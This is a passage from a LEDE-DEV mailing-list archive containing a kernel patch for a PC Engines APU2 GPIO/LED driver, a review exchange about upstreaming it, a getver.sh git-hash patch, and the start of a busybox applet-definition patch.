+ *  Copyright (c) 2016 Christian Lamparter <chunkeey (at) googlemail.com>
+ *
+ *  Based on gpio-apu2.c - AMD FCH GPIO support for PC-Engines APU-2 board
+ *
+ *  Copyright (c) 2015  Carsten Spiess <fli4l at carsten-spiess.de>
+ *
+ *  This program is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation; either version 2 of the License, or
+ *  (at your option) any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program; if not, write to the Free Software
+ *  Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ */
+
+ #include <linux/module.h>
+ #include <linux/types.h>
+ #include <linux/miscdevice.h>
+ #include <linux/gpio.h>
+ #include <linux/init.h>
+ #include <linux/pci.h>
+ #include <linux/ioport.h>
+ #include <linux/platform_device.h>
+ #include <linux/uaccess.h>
+ #include <linux/io.h>
+ #include <linux/version.h>
+ #include <linux/dmi.h>
+ #include <linux/string.h>
+
+ #include <linux/leds.h>
+ #include <linux/input.h>
+ #include <linux/gpio_keys.h>
+
+ #define DEVNAME                 "leds-apu2"
+
+ #define FCH_ACPI_MMIO_BASE      0xFED80000
+ #define FCH_GPIO_BASE           (FCH_ACPI_MMIO_BASE + 0x1500)
+ #define FCH_GPIO_SIZE           0x300
+
+ #define APU_NUM_GPIO            4
+
+ #define GPIO_BIT_DIR            23
+ #define GPIO_BIT_WRITE          22
+ #define GPIO_BIT_READ           16
+
+ /* internal variables */
+ static struct pci_dev *gpio_apu2_pci;
+ static DEFINE_SPINLOCK (gpio_lock);
+
+ /* the watchdog platform device */
+ static struct platform_device *gpio_apu2_platform_device;
+ static struct platform_device *leddev;
+ static struct platform_device *keydev;
+
+ static const struct pci_device_id gpio_apu2_pci_tbl[] ={
+ 	{PCI_VENDOR_ID_AMD, PCI_DEVICE_ID_AMD_HUDSON2_SMBUS, PCI_ANY_ID, PCI_ANY_ID},
+ 	{ 0, } /* End of list */
+ };
+ MODULE_DEVICE_TABLE (pci, gpio_apu2_pci_tbl);
+
+ /* EGPIO89=GPIO32, AGPIO68=GPIO57, AGPIO69=GPIO58, AGPIO70=GPIO59 */
+ static u8 gpio_offset[APU_NUM_GPIO] = {89, 68, 69, 70};
+
+ static void __iomem *gpio_addr[APU_NUM_GPIO] = {NULL, NULL, NULL, NULL};
+
+ static int gpio_apu2_get_dir (struct gpio_chip *chip, unsigned offset)
+ {
+ 	u32 val;
+
+ 	val = ~ioread32 (gpio_addr[offset]);
+
+ 	return (val >> GPIO_BIT_DIR) & 1;
+ }
+
+ static int gpio_apu2_dir_in (struct gpio_chip *gc, unsigned offset)
+ {
+ 	u32 val;
+
+ 	spin_lock_bh (&gpio_lock);
+
+ 	val = ioread32 (gpio_addr[offset]);
+ 	val &= ~BIT(GPIO_BIT_DIR);
+ 	iowrite32 (val, gpio_addr[offset]);
+
+ 	spin_unlock_bh (&gpio_lock);
+
+ 	return 0;
+ }
+
+ static int gpio_apu2_dir_out (struct gpio_chip *chip, unsigned offset,
+ 		int value)
+ {
+ 	u32 val;
+
+ 	spin_lock_bh (&gpio_lock);
+
+ 	val = ioread32 (gpio_addr[offset]);
+ 	val |= BIT(GPIO_BIT_DIR);
+ 	iowrite32 (val, gpio_addr[offset]);
+
+ 	spin_unlock_bh (&gpio_lock);
+
+ 	return 0;
+ }
+
+ static int gpio_apu2_get_data (struct gpio_chip *chip, unsigned offset)
+ {
+ 	u32 val;
+
+ 	val = ioread32 (gpio_addr[offset]);
+
+ 	return (val >> GPIO_BIT_READ) & 1;
+ }
+
+ static void gpio_apu2_set_data (struct gpio_chip *chip, unsigned offset, int value)
+ {
+ 	u32 val;
+
+ 	spin_lock_bh (&gpio_lock);
+
+ 	val = ioread32 (gpio_addr[offset]);
+
+ 	if (value)
+ 		val |= BIT(GPIO_BIT_WRITE);
+ 	else
+ 		val &= ~BIT(GPIO_BIT_WRITE);
+
+ 	iowrite32 (val, gpio_addr[offset]);
+
+ 	spin_unlock_bh (&gpio_lock);
+ }
+
+ static struct gpio_chip gpio_apu2_chip = {
+ 	.label = DEVNAME,
+ 	.owner = THIS_MODULE,
+ 	.base = -1,
+ 	.ngpio = APU_NUM_GPIO,
+ 	.get_direction = gpio_apu2_get_dir,
+ 	.direction_input = gpio_apu2_dir_in,
+ 	.direction_output = gpio_apu2_dir_out,
+ 	.get = gpio_apu2_get_data,
+ 	.set = gpio_apu2_set_data,
+ };
+
+ /*
+  *
+  */
+ static int gpio_apu2_probe (struct platform_device *dev)
+ {
+ 	int ret = 0;
+ 	int i;
+ 	struct pci_dev *pci_dev = NULL;
+
+ 	/* Match the PCI device */
+ 	for_each_pci_dev (pci_dev) {
+ 		if (pci_match_id (gpio_apu2_pci_tbl, pci_dev) != NULL) {
+ 			gpio_apu2_pci = pci_dev;
+ 			break;
+ 		}
+ 	}
+
+ 	if (!gpio_apu2_pci)
+ 		return -ENODEV;
+
+ 	pr_info ("%s: PCI Revision ID: 0x%x\n", DEVNAME, gpio_apu2_pci->revision);
+
+ 	/* Determine type of southbridge chipset */
+ 	if (gpio_apu2_pci->revision < 0x40) {
+ 		return -EACCES;
+ 	}
+
+ 	/* Request memory region for GPIO's */
+ 	if (!devm_request_mem_region (&dev->dev, FCH_GPIO_BASE,
+ 		FCH_GPIO_SIZE, DEVNAME)){
+ 		pr_err ("%s: request GPIO mem region failed\n", DEVNAME);
+ 		return -ENXIO;
+ 	}
+
+ 	/* Map IO's for GPIO's */
+ 	for (i = 0; i < APU_NUM_GPIO; i++) {
+ 		gpio_addr[i] = devm_ioremap (&dev->dev,
+ 			FCH_GPIO_BASE + (gpio_offset[i] * sizeof (u32)), sizeof (u32));
+ 		if (!gpio_addr[i]) {
+ 			pr_err ("%s: map GPIO%d address failed\n", DEVNAME, gpio_offset[i]);
+ 			return -ENXIO;
+ 		}
+ 	}
+
+ 	gpio_apu2_chip.dev = &dev->dev;
+ 	ret = gpiochip_add (&gpio_apu2_chip);
+ 	if (ret) {
+ 		pr_err ("%s: adding gpiochip failed\n", DEVNAME);
+ 	}
+
+ 	return ret;
+ }
+
+ static int gpio_apu2_remove (struct platform_device *dev)
+ {
+ #if LINUX_VERSION_CODE < KERNEL_VERSION(3,18,0)
+ 	int ret;
+ 	ret = gpiochip_remove (&gpio_apu2_chip);
+ #else /* LINUX_VERSION_CODE < KERNEL_VERSION(3,18,0) */
+ 	gpiochip_remove (&gpio_apu2_chip);
+ #endif /* LINUX_VERSION_CODE < KERNEL_VERSION(3,18,0) */
+ 	return 0;
+ }
+
+ static struct platform_driver gpio_apu2_driver = {
+ 	.probe = gpio_apu2_probe,
+ 	.remove = gpio_apu2_remove,
+ 	.driver = {
+ 		.owner = THIS_MODULE,
+ 		.name = DEVNAME
+ 	}
+ };
+
+ static struct gpio_led apu2_leds_gpio[] = {
+         {
+                 .name           = "apu2:green:power",
+                 .gpio           = 509,
+                 .active_low     = 1,
+         },
+         {
+                 .name           = "apu2:green:led2",
+                 .gpio           = 510,
+                 .active_low     = 1,
+         },
+         {
+                 .name           = "apu2:green:led3",
+                 .gpio           = 511,
+                 .active_low     = 1,
+         },
+ };
+
+ static struct gpio_keys_button apu2_gpio_keys[] = {
+ 	{
+ 		.desc           = "Reset button",
+ 		.type           = EV_KEY,
+ 		.code           = KEY_RESTART,
+ 		.debounce_interval = 60,
+ 		.gpio           = 508,
+ 		.active_low     = 1,
+ 	},
+ };
+
+ static void register_gpio_keys_polled(int id, unsigned poll_interval,
+ 				      unsigned nbuttons,
+ 				      struct gpio_keys_button *buttons)
+ {
+ 	struct gpio_keys_platform_data pdata = { };
+ 	int err;
+
+ 	keydev = platform_device_alloc("gpio-keys-polled", id);
+ 	if (!keydev) {
+ 		printk(KERN_ERR "Failed to allocate gpio-keys platform device\n");
+ 		return;
+ 	}
+
+ 	pdata.poll_interval = poll_interval;
+ 	pdata.nbuttons = nbuttons;
+ 	pdata.buttons = buttons;
+
+ 	err = platform_device_add_data(keydev, &pdata, sizeof(pdata));
+ 	if (err) {
+ 		dev_err(&keydev->dev, "failed to add platform data to key driver (%d)", err);
+ 		goto err_put_pdev;
+ 	}
+
+ 	err = platform_device_add(keydev);
+ 	if (err) {
+ 		dev_err(&keydev->dev, "failed to register key platform device (%d)", err);
+ 		goto err_put_pdev;
+ 	}
+
+ 	return;
+
+ err_put_pdev:
+ 	platform_device_put(keydev);
+ 	keydev = NULL;
+ }
+
+ static void register_leds_gpio(int id, unsigned num_leds, struct gpio_led *leds)
+ {
+ 	struct gpio_led_platform_data pdata = { };
+ 	int err;
+
+ 	leddev = platform_device_alloc("leds-gpio", id);
+ 	if (!leddev) {
+ 		printk(KERN_ERR "Failed to allocate leds-gpio platform device\n");
+ 		return;
+ 	}
+
+ 	pdata.num_leds = num_leds;
+ 	pdata.leds = leds;
+
+ 	err = platform_device_add_data(leddev, &pdata, sizeof(pdata));
+ 	if (err) {
+ 		dev_err(&leddev->dev, "failed to add platform data to key driver (%d)", err);
+ 		goto err_put_pdev;
+ 	}
+
+ 	err = platform_device_add(leddev);
+ 	if (err) {
+ 		dev_err(&leddev->dev, "failed to register key platform device (%d)", err);
+ 		goto err_put_pdev;
+ 	}
+
+ 	return;
+
+ err_put_pdev:
+ 	platform_device_put(leddev);
+ 	leddev = NULL;
+ }
+
+ static int __init gpio_apu2_init (void)
+ {
+ 	int err;
+	const char *board_vendor = dmi_get_system_info(DMI_BOARD_VENDOR);
+	const char *board_name = dmi_get_system_info(DMI_BOARD_NAME);
+
+ 	/* Match the device name/model */
+	if (!board_name || !board_vendor || strcasecmp(board_vendor, "PC Engines") || strcasecmp(board_name, "apu2")) {
+		err = -ENODEV;
+		goto exit;
+	}
+
+	pr_info ("%s: load APU2/LED GPIO driver module\n", DEVNAME);
+
+ 	err = platform_driver_register (&gpio_apu2_driver);
+ 	if (err)
+ 		goto exit;
+
+ 	gpio_apu2_platform_device = platform_device_register_simple (DEVNAME, -1, NULL, 0);
+ 	if (IS_ERR(gpio_apu2_platform_device)) {
+ 		err = PTR_ERR(gpio_apu2_platform_device);
+ 		goto exit_driver;
+ 	}
+
+ 	pr_info ("%s: APU2 GPIO/LED driver module loaded\n", DEVNAME);
+
+ 	register_leds_gpio(-1, ARRAY_SIZE(apu2_leds_gpio), apu2_leds_gpio);
+ 	register_gpio_keys_polled(-1, 20, ARRAY_SIZE(apu2_gpio_keys), apu2_gpio_keys);
+ 	return 0;
+
+ exit_driver:
+ 	platform_driver_unregister (&gpio_apu2_driver);
+ exit:
+ 	return err;
+ }
+
+ static void __exit gpio_apu2_exit (void)
+ {
+ 	platform_device_unregister (gpio_apu2_platform_device);
+ 	platform_device_unregister (leddev);
+ 	platform_device_unregister (keydev);
+ 	platform_driver_unregister (&gpio_apu2_driver);
+ 	pr_info ("%s: APU2 GPIO/LED driver module unloaded\n", DEVNAME);
+ }
+
+ MODULE_AUTHOR ("Carsten Spiess <fli4l at carsten-spiess.de>");
+ MODULE_DESCRIPTION("GPIO driver for AMD FCH on PC-Engines APU-2");
+ MODULE_LICENSE("GPL");
+
+ module_init (gpio_apu2_init);
+ module_exit (gpio_apu2_exit);
diff --git a/target/linux/x86/patches-4.4/800-add-apu2-led-driver.patch b/target/linux/x86/patches-4.4/800-add-apu2-led-driver.patch
new file mode 100644
index 0000000..534a6de
--- /dev/null
+++ b/target/linux/x86/patches-4.4/800-add-apu2-led-driver.patch
@@ -0,0 +1,30 @@
+--- a/drivers/leds/Kconfig	2016-09-15 01:29:29.000000000 -0500
++++ b/drivers/leds/Kconfig	2016-09-26 02:36:55.349774421 -0500
+@@ -49,6 +49,16 @@
+ 	help
+ 	 This option enables support for the LEDs on the AAT1290.
+
++config LEDS_APU2
++	tristate "LED Support for the PCEngines APU2 board"
++	depends on LEDS_CLASS
++	depends on LEDS_GPIO
++	depends on GPIOLIB
++	help
++	  This option enables support for the CPU GPIO pins on the PCEngines
++	  APU2 board, as well as adds system support for the reset button and
++	  front panel LEDs.
++
+ config LEDS_BCM6328
+ 	tristate "LED Support for Broadcom BCM6328"
+ 	depends on LEDS_CLASS
+diff -Naur ./a/Makefile ./b/Makefile
+--- a/drivers/leds/Makefile	2016-09-26 02:23:39.787307000 -0500
++++ b/drivers/leds/Makefile	2016-09-26 02:39:41.669443541 -0500
+@@ -8,6 +8,7 @@
+ # LED Platform Drivers
+ obj-$(CONFIG_LEDS_88PM860X)		+= leds-88pm860x.o
+ obj-$(CONFIG_LEDS_AAT1290)		+= leds-aat1290.o
++obj-$(CONFIG_LEDS_APU2)			+= leds-apu2.o
+ obj-$(CONFIG_LEDS_BCM6328)		+= leds-bcm6328.o
+ obj-$(CONFIG_LEDS_BCM6358)		+= leds-bcm6358.o
+ obj-$(CONFIG_LEDS_BD2802)		+= leds-bd2802.o
-- 
2.7.4



From nbd at nbd.name  Sat Jan 14 08:30:03 2017
From: nbd at nbd.name (Felix Fietkau)
Date: Sat, 14 Jan 2017 17:30:03 +0100
Subject: [LEDE-DEV] [PATCH 3/4] x86: Add NCT5104D GPIO driver
In-Reply-To: <1484410827-30973-3-git-send-email-chrisrblake93@gmail.com>
References: <1484410827-30973-1-git-send-email-chrisrblake93@gmail.com>
 <1484410827-30973-3-git-send-email-chrisrblake93@gmail.com>
Message-ID: <4cc47591-1b3e-21ef-4e06-fcd01709b6d0@nbd.name>

On 2017-01-14 17:20, Chris Blake wrote:
> The following patch is to add driver support for the NCT5104D GPIO Super
> I/O chip which is found on the PC Engines APU2/APU3 boards.
> 
> Signed-off-by: Chris Blake <chrisrblake93 at gmail.com>
Has this driver been submitted for upstream inclusion yet?

- Felix



From nbd at nbd.name  Sat Jan 14 08:31:01 2017
From: nbd at nbd.name (Felix Fietkau)
Date: Sat, 14 Jan 2017 17:31:01 +0100
Subject: [LEDE-DEV] [PATCH 4/4] x86: Add APU2 LED Driver
In-Reply-To: <1484410827-30973-4-git-send-email-chrisrblake93@gmail.com>
References: <1484410827-30973-1-git-send-email-chrisrblake93@gmail.com>
 <1484410827-30973-4-git-send-email-chrisrblake93@gmail.com>
Message-ID: <54a18d27-e0a7-b362-4f9b-40c1926c13a0@nbd.name>

On 2017-01-14 17:20, Chris Blake wrote:
> The following patch adds LED support for the PC Engines APU2/APU3 board
> on LEDE.
> 
> Signed-off-by: Chris Blake <chrisrblake93 at gmail.com>
Has this driver been submitted for upstream inclusion yet?

- Felix



From chrisrblake93 at gmail.com  Sat Jan 14 08:40:42 2017
From: chrisrblake93 at gmail.com (Chris Blake)
Date: Sat, 14 Jan 2017 10:40:42 -0600
Subject: [LEDE-DEV] [PATCH 3/4] x86: Add NCT5104D GPIO driver
In-Reply-To: <4cc47591-1b3e-21ef-4e06-fcd01709b6d0@nbd.name>
References: <1484410827-30973-1-git-send-email-chrisrblake93@gmail.com>
 <1484410827-30973-3-git-send-email-chrisrblake93@gmail.com>
 <4cc47591-1b3e-21ef-4e06-fcd01709b6d0@nbd.name>
Message-ID: <CALpBJjqki7wP-oWT7kbw9TC1DdDpMUF_b3NbG1YucH-k1oTk-Q@mail.gmail.com>

On Sat, Jan 14, 2017 at 10:30 AM, Felix Fietkau <nbd at nbd.name> wrote:
> On 2017-01-14 17:20, Chris Blake wrote:
>> The following patch is to add driver support for the NCT5104D GPIO Super
>> I/O chip which is found on the PC Engines APU2/APU3 boards.
>>
>> Signed-off-by: Chris Blake <chrisrblake93 at gmail.com>
> Has this driver been submitted for upstream inclusion yet?
>
> - Felix
>

Felix,

This driver has not been submitted upstream to the Linux mailing list
at this time.

- Chris B


From chrisrblake93 at gmail.com  Sat Jan 14 08:41:01 2017
From: chrisrblake93 at gmail.com (Chris Blake)
Date: Sat, 14 Jan 2017 10:41:01 -0600
Subject: [LEDE-DEV] [PATCH 4/4] x86: Add APU2 LED Driver
In-Reply-To: <54a18d27-e0a7-b362-4f9b-40c1926c13a0@nbd.name>
References: <1484410827-30973-1-git-send-email-chrisrblake93@gmail.com>
 <1484410827-30973-4-git-send-email-chrisrblake93@gmail.com>
 <54a18d27-e0a7-b362-4f9b-40c1926c13a0@nbd.name>
Message-ID: <CALpBJjrEgcxjagYk9fhafwYCbUNd-UCBkOi8cP5P67Udpr5LEA@mail.gmail.com>

On Sat, Jan 14, 2017 at 10:31 AM, Felix Fietkau <nbd at nbd.name> wrote:
> On 2017-01-14 17:20, Chris Blake wrote:
>> The following patch adds LED support for the PC Engines APU2/APU3 board
>> on LEDE.
>>
>> Signed-off-by: Chris Blake <chrisrblake93 at gmail.com>
> Has this driver been submitted for upstream inclusion yet?
>
> - Felix
>

Felix,

This driver has not been submitted upstream to the Linux mailing list
at this time.

- Chris B


From nbd at nbd.name  Sat Jan 14 08:43:51 2017
From: nbd at nbd.name (Felix Fietkau)
Date: Sat, 14 Jan 2017 17:43:51 +0100
Subject: [LEDE-DEV] [PATCH 3/4] x86: Add NCT5104D GPIO driver
In-Reply-To: <CALpBJjqki7wP-oWT7kbw9TC1DdDpMUF_b3NbG1YucH-k1oTk-Q@mail.gmail.com>
References: <1484410827-30973-1-git-send-email-chrisrblake93@gmail.com>
 <1484410827-30973-3-git-send-email-chrisrblake93@gmail.com>
 <4cc47591-1b3e-21ef-4e06-fcd01709b6d0@nbd.name>
 <CALpBJjqki7wP-oWT7kbw9TC1DdDpMUF_b3NbG1YucH-k1oTk-Q@mail.gmail.com>
Message-ID: <5353cc4a-2ef0-5000-dc8c-5b90abf4f1af@nbd.name>

On 2017-01-14 17:40, Chris Blake wrote:
> On Sat, Jan 14, 2017 at 10:30 AM, Felix Fietkau <nbd at nbd.name> wrote:
>> On 2017-01-14 17:20, Chris Blake wrote:
>>> The following patch is to add driver support for the NCT5104D GPIO Super
>>> I/O chip which is found on the PC Engines APU2/APU3 boards.
>>>
>>> Signed-off-by: Chris Blake <chrisrblake93 at gmail.com>
>> Has this driver been submitted for upstream inclusion yet?
>>
>> - Felix
>>
> 
> Felix,
> 
> This driver has not been submitted upstream to the Linux mailing list
> at this time.
Since we're working hard on cleaning up our non-upstream patch mess, I'd
like to ask you to either work on getting this code upstream, or make it
a self-contained package without kernel patches.

Same applies to the other patch.

Thanks,

- Felix


From chrisrblake93 at gmail.com  Sat Jan 14 09:04:45 2017
From: chrisrblake93 at gmail.com (Chris Blake)
Date: Sat, 14 Jan 2017 11:04:45 -0600
Subject: [LEDE-DEV] [PATCH 4/4] x86: Add APU2 LED Driver
In-Reply-To: <CALpBJjrEgcxjagYk9fhafwYCbUNd-UCBkOi8cP5P67Udpr5LEA@mail.gmail.com>
References: <1484410827-30973-1-git-send-email-chrisrblake93@gmail.com>
 <1484410827-30973-4-git-send-email-chrisrblake93@gmail.com>
 <54a18d27-e0a7-b362-4f9b-40c1926c13a0@nbd.name>
 <CALpBJjrEgcxjagYk9fhafwYCbUNd-UCBkOi8cP5P67Udpr5LEA@mail.gmail.com>
Message-ID: <CALpBJjrutmow6kBS9+dqMw1y70N7sTyBosczkpkHr7ZROm+iAg@mail.gmail.com>

On Sat, Jan 14, 2017 at 10:41 AM, Chris Blake <chrisrblake93 at gmail.com> wrote:
> On Sat, Jan 14, 2017 at 10:31 AM, Felix Fietkau <nbd at nbd.name> wrote:
>> On 2017-01-14 17:20, Chris Blake wrote:
>>> The following patch adds LED support for the PC Engines APU2/APU3 board
>>> on LEDE.
>>>
>>> Signed-off-by: Chris Blake <chrisrblake93 at gmail.com>
>> Has this driver been submitted for upstream inclusion yet?
>>
>> - Felix
>>
>
> Felix,
>
> This driver has not been submitted upstream to the Linux mailing list
> at this time.
>
> - Chris B

Felix,

In regards to upstream it seems this driver in particular, APU2 LED,
was submitted upstream at https://patches.linaro.org/patch/80049/
previously. While this version of the driver varies slightly (better
platform detection), would you still prefer this to be re-submitted in
package form? Due to the platform specific code I doubt it would have
much luck in the upstream lists.

- Chris B


From nbd at nbd.name  Sat Jan 14 09:13:04 2017
From: nbd at nbd.name (Felix Fietkau)
Date: Sat, 14 Jan 2017 18:13:04 +0100
Subject: [LEDE-DEV] [PATCH 4/4] x86: Add APU2 LED Driver
In-Reply-To: <CALpBJjrutmow6kBS9+dqMw1y70N7sTyBosczkpkHr7ZROm+iAg@mail.gmail.com>
References: <1484410827-30973-1-git-send-email-chrisrblake93@gmail.com>
 <1484410827-30973-4-git-send-email-chrisrblake93@gmail.com>
 <54a18d27-e0a7-b362-4f9b-40c1926c13a0@nbd.name>
 <CALpBJjrEgcxjagYk9fhafwYCbUNd-UCBkOi8cP5P67Udpr5LEA@mail.gmail.com>
 <CALpBJjrutmow6kBS9+dqMw1y70N7sTyBosczkpkHr7ZROm+iAg@mail.gmail.com>
Message-ID: <372dd4f4-6a6f-cc40-566a-b24203ced36e@nbd.name>

On 2017-01-14 18:04, Chris Blake wrote:
> On Sat, Jan 14, 2017 at 10:41 AM, Chris Blake <chrisrblake93 at gmail.com> wrote:
>> On Sat, Jan 14, 2017 at 10:31 AM, Felix Fietkau <nbd at nbd.name> wrote:
>>> On 2017-01-14 17:20, Chris Blake wrote:
>>>> The following patch adds LED support for the PC Engines APU2/APU3 board
>>>> on LEDE.
>>>>
>>>> Signed-off-by: Chris Blake <chrisrblake93 at gmail.com>
>>> Has this driver been submitted for upstream inclusion yet?
>>>
>>> - Felix
>>>
>>
>> Felix,
>>
>> This driver has not been submitted upstream to the Linux mailing list
>> at this time.
>>
>> - Chris B
> 
> Felix,
> 
> In regards to upstream it seems this driver in particular, APU2 LED,
> was submitted upstream at https://patches.linaro.org/patch/80049/
> previously. While this version of the driver varies slightly (better
> platform detection), would you still prefer this to be re-submitted in
> package form? Due to the platform specific code I doubt it would have
> much luck in the upstream lists.
Yes, since there doesn't seem to be any progress towards getting this
merged, please re-submit it in package form.

Thanks,

- Felix



From ulli.kroll at googlemail.com  Sat Jan 14 11:32:36 2017
From: ulli.kroll at googlemail.com (Hans Ulli Kroll)
Date: Sat, 14 Jan 2017 20:32:36 +0100 (CET)
Subject: [LEDE-DEV] [PATCH 4/4] x86: Add APU2 LED Driver
In-Reply-To: <CALpBJjrutmow6kBS9+dqMw1y70N7sTyBosczkpkHr7ZROm+iAg@mail.gmail.com>
References: <1484410827-30973-1-git-send-email-chrisrblake93@gmail.com>
 <1484410827-30973-4-git-send-email-chrisrblake93@gmail.com>
 <54a18d27-e0a7-b362-4f9b-40c1926c13a0@nbd.name>
 <CALpBJjrEgcxjagYk9fhafwYCbUNd-UCBkOi8cP5P67Udpr5LEA@mail.gmail.com>
 <CALpBJjrutmow6kBS9+dqMw1y70N7sTyBosczkpkHr7ZROm+iAg@mail.gmail.com>
Message-ID: <alpine.LNX.2.00.1701142010270.18038@T420s>

HI

On Sat, 14 Jan 2017, Chris Blake wrote:

> In regards to upstream it seems this driver in particular, APU2 LED,
> was submitted upstream at https://patches.linaro.org/patch/80049/
> previously. While this version of the driver varies slightly (better
> platform detection), would you still prefer this to be re-submitted in
> package form? Due to the platform specific code I doubt it would have
> much luck in the upstream lists.
> 

APU1 like mine can use the same driver but with other gpio layout.
A year ago I was in the early stage writing a driver for APU1 until I 
read the datasheet
quote
 Certain GPIOs are multiplexed with pins on the flash controller, PCI 
 controller, GbE MAC, or keyboard and PS/2 controller interfaces
end quote

APU1 uses pinmuxed PS/2 keybord and mouse
APU2 used pinmuxed Hardware monitor pins for FANIN

So I would use this patch which apu1/apu2 board only.

Hans Ulli Kroll


From mkroken at gmail.com  Sat Jan 14 13:34:01 2017
From: mkroken at gmail.com (Magnus Kroken)
Date: Sat, 14 Jan 2017 22:34:01 +0100
Subject: [LEDE-DEV] [PATCH] scripts/getver.sh: append short git hash based
 on upstream commit
Message-ID: <1484429641-7313-1-git-send-email-mkroken@gmail.com>

The short git hash suffix printed by getver.sh is taken from the
latest local commit, change this to use the hash from latest
upstream commit if available. This is considered the intended
behavior based on commit message a642a11faca87e2a7bddc1fadb54253e2fc26e84,
introducing getver.sh.

Signed-off-by: Magnus Kroken <mkroken at gmail.com>
---
The referenced commit message says:
The new output format will look like "r2400+2-882472e" for dirty trees or like
"r2402-882472e" for clean ones.

Since the example hashes are the same, I take this to mean that this was the intended behavior.

Intended or not, I would suggest this anyway. If someone provides a LEDE version number from a dirty tree,
e.g. r2961+8-abcdef01, you need access to a LEDE Git tree and ability to run getver.sh to look up which
commit r2961 corresponds to. The short hash (abcdef01) is from the dirty tree, and can be anything that person has committed.
Appending the upstream base commit hash is useful when people ask for help and you want to track down the 
commit they're based on, and you may not have a running LEDE build environment available. Knowing that a tree
is dirty (+8) is useful as well, but the commit hash is only useful to people who have access to the dirty tree.

 scripts/getver.sh | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/scripts/getver.sh b/scripts/getver.sh
index ecf048f..4d594d3 100755
--- a/scripts/getver.sh
+++ b/scripts/getver.sh
@@ -40,7 +40,12 @@ try_git() {
 			REV="${UPSTREAM_REV}+$((REV - UPSTREAM_REV))"
 		fi
 
-		REV="${REV:+r$REV-$(git log --format="%h" -1)}"
+		if [ -n "$UPSTREAM_BASE" ]; then
+			REV="${REV:+r$REV-$(git log -n 1 --format="%h" $UPSTREAM_BASE)}"
+		else
+			REV="${REV:+r$REV-$(git log --format="%h" -1)}"
+		fi
+
 		;;
 	esac
 
-- 
2.1.4



From mkroken at gmail.com  Sat Jan 14 17:21:40 2017
From: mkroken at gmail.com (Magnus Kroken)
Date: Sun, 15 Jan 2017 02:21:40 +0100
Subject: [LEDE-DEV] [PATCH v2 1/2] busybox: convert netmsg and lock applet
 to "new style" applet definition
In-Reply-To: <1483570493-18139-1-git-send-email-mkroken@gmail.com>
References: <1483570493-18139-1-git-send-email-mkroken@gmail.com>
Message-ID: <1484443301-6252-1-git-send-email-mkroken@gmail.com>

The "new style" busybox applet approach moves all config and build
definitions related to an applet to its .c file. This makes the
patches easier to maintain, as they only add new files to the busybox
build directory, without modifying BusyBox files.

Signed-off-by: Magnus Kroken <mkroken at gmail.com>
---
v2: Merge netmsg and lock changes to one patch, as the changes are closely related.

 .../busybox/patches/210-add_netmsg_util.patch      | 54 ++++++----------------
 .../utils/busybox/patches/220-add_lock_util.patch  | 54 ++++++----------------
 2 files changed, 30 insertions(+), 78 deletions(-)

diff --git a/package/utils/busybox/patches/210-add_netmsg_util.patch b/package/utils/busybox/patches/210-add_netmsg_util.patch
index 2382698..d7b2ae7 100644
--- a/package/utils/busybox/patches/210-add_netmsg_util.patch
+++ b/package/utils/busybox/patches/210-add_netmsg_util.patch
@@ -1,46 +1,25 @@
---- a/include/applets.src.h
-+++ b/include/applets.src.h
-@@ -229,6 +229,7 @@ IF_MT(APPLET(mt, BB_DIR_BIN, BB_SUID_DRO
- IF_MV(APPLET(mv, BB_DIR_BIN, BB_SUID_DROP))
- IF_NAMEIF(APPLET(nameif, BB_DIR_SBIN, BB_SUID_DROP))
- IF_NC(APPLET(nc, BB_DIR_USR_BIN, BB_SUID_DROP))
-+IF_NETMSG(APPLET(netmsg, BB_DIR_BIN, BB_SUID_REQUIRE))
- IF_NETSTAT(APPLET(netstat, BB_DIR_BIN, BB_SUID_DROP))
- IF_NICE(APPLET(nice, BB_DIR_BIN, BB_SUID_DROP))
- IF_NOHUP(APPLET(nohup, BB_DIR_USR_BIN, BB_SUID_DROP))
---- a/networking/Config.src
-+++ b/networking/Config.src
-@@ -639,6 +639,12 @@ config FEATURE_IPCALC_LONG_OPTIONS
- 	help
- 	  Support long options for the ipcalc applet.
- 
-+config NETMSG
-+	bool "netmsg"
-+	default n
-+	help
-+	  simple program for sending udp broadcast messages
-+
- config NETSTAT
- 	bool "netstat"
- 	default y
---- a/networking/Kbuild.src
-+++ b/networking/Kbuild.src
-@@ -27,6 +27,7 @@ lib-$(CONFIG_IP)           += ip.o
- lib-$(CONFIG_IPCALC)       += ipcalc.o
- lib-$(CONFIG_NAMEIF)       += nameif.o
- lib-$(CONFIG_NC)           += nc.o
-+lib-$(CONFIG_NETMSG)       += netmsg.o
- lib-$(CONFIG_NETSTAT)      += netstat.o
- lib-$(CONFIG_NSLOOKUP)     += nslookup.o
- lib-$(CONFIG_NTPD)         += ntpd.o
 --- /dev/null
 +++ b/networking/netmsg.c
-@@ -0,0 +1,65 @@
+@@ -0,0 +1,76 @@
 +/*
 + * Copyright (C) 2006 Felix Fietkau <nbd at nbd.name>
 + *
 + * This is free software, licensed under the GNU General Public License v2.
 + */
++
++//config:config NETMSG
++//config:	bool "netmsg"
++//config:	default n
++//config:	help
++//config:	  simple program for sending udp broadcast messages
++
++//applet:IF_NETMSG(APPLET(netmsg, BB_DIR_BIN, BB_SUID_REQUIRE))
++
++//kbuild:lib-$(CONFIG_NETMSG) += netmsg.o
++
++//usage:#define netmsg_trivial_usage NOUSAGE_STR
++//usage:#define netmsg_full_usage ""
++
 +#include <sys/types.h>
 +#include <sys/socket.h>
 +#include <netinet/in.h>
@@ -50,9 +29,6 @@
 +#include <string.h>
 +#include "busybox.h"
 +
-+//usage:#define netmsg_trivial_usage NOUSAGE_STR
-+//usage:#define netmsg_full_usage ""
-+
 +#ifndef CONFIG_NETMSG
 +int main(int argc, char **argv)
 +#else
diff --git a/package/utils/busybox/patches/220-add_lock_util.patch b/package/utils/busybox/patches/220-add_lock_util.patch
index c60f5db..4e46b74 100644
--- a/package/utils/busybox/patches/220-add_lock_util.patch
+++ b/package/utils/busybox/patches/220-add_lock_util.patch
@@ -1,46 +1,25 @@
---- a/include/applets.src.h
-+++ b/include/applets.src.h
-@@ -196,6 +196,7 @@ IF_LN(APPLET_NOEXEC(ln, ln, BB_DIR_BIN,
